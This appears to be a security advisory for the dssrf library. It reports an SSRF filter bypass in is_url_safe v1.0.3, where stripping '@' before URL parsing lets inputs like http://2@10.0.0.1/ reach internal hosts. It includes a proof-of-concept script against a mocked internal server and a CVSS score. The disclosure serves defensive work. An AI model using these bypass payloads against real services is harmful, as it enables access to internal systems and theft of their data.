is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
Input: http://evil.com@127.0.0.1/
remove_at_symbol_in_string → http://evil.com127.0.0.1/new URL(...) → hostname = "evil.com127.0.0.1"is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns falsetrue (safe) — but any HTTP client using the original URL connects to 127.0.0.1import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}
@ in a URL separates userinfo...
1.0.4Exploitability
AV:NAC:LAT:NPR:NUI:NVulnerable System
VC:NVI:HVA:NSubsequent System
SC:NSI:NSA:N8.7/CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:NOther